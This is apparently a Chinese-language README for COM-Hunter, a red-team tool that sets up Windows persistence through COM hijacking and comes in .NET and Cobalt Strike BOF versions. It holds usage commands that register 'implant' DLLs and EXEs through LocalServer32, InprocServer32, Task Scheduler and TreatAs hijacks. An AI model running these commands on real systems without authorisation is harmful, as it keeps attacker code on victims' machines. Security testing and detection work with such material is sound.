nickvourd/COM-Hunter

# COM-Hunter COM 劫持 VOODOO

## 描述 COM-Hunter 是一款 COM 劫持持久化工具。 同时提供 .NET 版本以及与 Cobalt Strike 完全兼容的 BOF 变体。    以下列表说明了可用的模式： - **Search Mode**：基于 `LocalServer32`、`InprocServer32` 以及 `HKLM` 和 `HKCU` 下的注册表项搜索 CLSID。 - **Classic Persist Mode**：使用 `LocalServer32` 或 `InprocServer32` 执行经典的 COM 劫持持久化。 - **Task Scheduler Mode**：通过 Task Scheduler 使用 `LocalServer32` 或 `InprocServer32` 自动建立 COM 劫持持久化。 - **TreatAs Mode**：通过 TreatAs 注册表项和伪造的（可转发的）CLSID，使用 `LocalServer32` 或 `InprocServer32` 执行 COM 劫持持久化。 - **Remove Mode**：移除依赖于 `LocalServer32`、`InprocServer32` 以及 `HKLM` 和 `HKCU` 下相关注册表项的持久化机制。 ℹ️ 本工具已被选中，并荣幸地成为 [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) 的一部分。 ## 免责声明 本项目的作者和贡献者对任何非法使用本工具的行为概不负责。本工具仅供教育目的使用。用户需自行确保合法使用。 ## 目录 - [COM-Hunter](#com-hunter) - [描述](#description) - [免责声明](#disclaimer) - [目录](#table-of-contents) - [致谢](#acknowledgement) - [用法](#usage) - [.NET 示例](#net-examples) - [BOF 实现](#bof-implementation) - [参考](#references) ## 用法 ``` ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗ ██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗ ██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝ ██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ Version: 3.0 @nickvourd && @S1ckB0y1337 ~ Inspired during the RTO course by @zeropointsecltd ~ Usage: COM_Hunter.exe [+] Available Modes: search Search Mode persist Classic Persist Mode tasksch Task Scheduler Mode treatas TreatAs Mode remove Remove Mode [+] Search Mode: Usage: COM-Hunter.exe search -a, --all Search DLL and EXE implementations in HKLM and HKCU -i, --inprocserver32 Search DLL implementations in HKLM and HKCU -l, --localserver32 Search EXE implementations in HKLM and HKCU -m, --machine Search DLL and EXE implementations in HKLM -u, --user Search DLL and EXE implementations in HKCU [+] Classic Persist Mode: Usage: COM-Hunter.exe persist -i, --inprocserver32 Set DLL implementation -l, --localserver32 Set EXE implementation [+] Task Scheduler Mode: Usage: COM-Hunter.exe tasksch -i, --inprocserver32 Set DLL implementation -l, --localserver32 Set EXE implementation [+] TreatAs Mode: Usage: COM-Hunter.exe treatas -i, --inprocserver32 Set DLL implementation -l, --localserver32 Set EXE implementation [+] Remove Mode: Usage: COM-Hunter.exe remove -a, --all Remove DLL and EXE implementations in HKLM and HKCU -i, --inprocserver32 Remove DLL implementations in HKLM and HKCU -l, --localserver32 Remove EXE implementations in HKLM and HKCU -m, --machine Remove DLL and EXE implementations in HKLM -u, --user Remove DLL and EXE implementations in HKCU ``` ## .NET 示例 :information_source: 在 HKLM 和 HKCU 中搜索 DLL 和 EXE 实现： ``` .\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a ``` :information_source: 在 HKLM 和 HKCU 中搜索 EXE 实现： ``` .\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l ``` :information_source: 在 HKLM 中高级搜索 EXE 实现： ``` .\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine ``` :information_source: 在 HKCU 中搜索 EXE 和 DLL 实现： ``` .\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user ``` :information_source: 使用 DLL 实现执行经典持久化： ``` .\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i ``` :information_source: 使用 EXE 实现执行经典持久化： ``` .\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32 ``` :information_source: 使用 DLL 实现通过 Task Scheduler 执行持久化： ``` .\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32 ``` :information_source: 使用 DLL 实现通过 TreatAs 注册表项和伪造的（可转发的）CLSID 执行持久化： ``` .\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i ``` :information_source: 使用以下命令移除 HKCU 中的 DLL 实现持久化： ``` .\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u ``` ## BOF 实现 ℹ️ 需要安装 `MinGW-w64` 工具链（`x86_64-w64-mingw32-gcc` 和 `i686-w64-mingw32-gcc`） ℹ️ 为两种架构编译 BOF 对象： ``` ./make_all.sh ``` 这将执行以下操作： 1. 创建 `com_hunter_*` 目录。 2. 编译 `com_hunter_*.x64.o` 和 `com_hunter_*.x86.o`。 3. 将这两个目标文件移动到 `com_hunter_*/` 目录中。 ℹ️ 编译 BOF 模块后，只需将 `com_hunter_bof.cna` 加载到 Cobalt Strike 中即可。 ℹ️ 要清理构建产物，请进入每个 `src` 目录并执行： ``` make clean ``` ## 参考 - [Persistence: “the continued or prolonged existence of something”: Part 2 – COM Hijacking by MDSec](https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/) - [Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques by BOHOPS](https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/) - [Userland Persistence with Scheduled Tasks and COM Handler Hijacking by Enigma0x3](https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/) - [COM Objects Hijacking by Virus Total](https://blog.virustotal.com/2024/03/com-objects-hijacking.html) - [CS-Remote-OPs-BOF GitHub Repository by TrustedSec](https://github.com/trustedsec/CS-Remote-OPs-BOF) - [A Developer's Introduction to Beacon Object Files by TrustedSec](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files) - [BOF Development & Tradecraft Course by Zeropoint Security](https://www.zeropointsecurity.co.uk/course/bof-dev)

标签：Cobalt Strike, COM劫持, SCP, 嗅探欺骗, 客户端加密, 攻击诱捕, 权限维持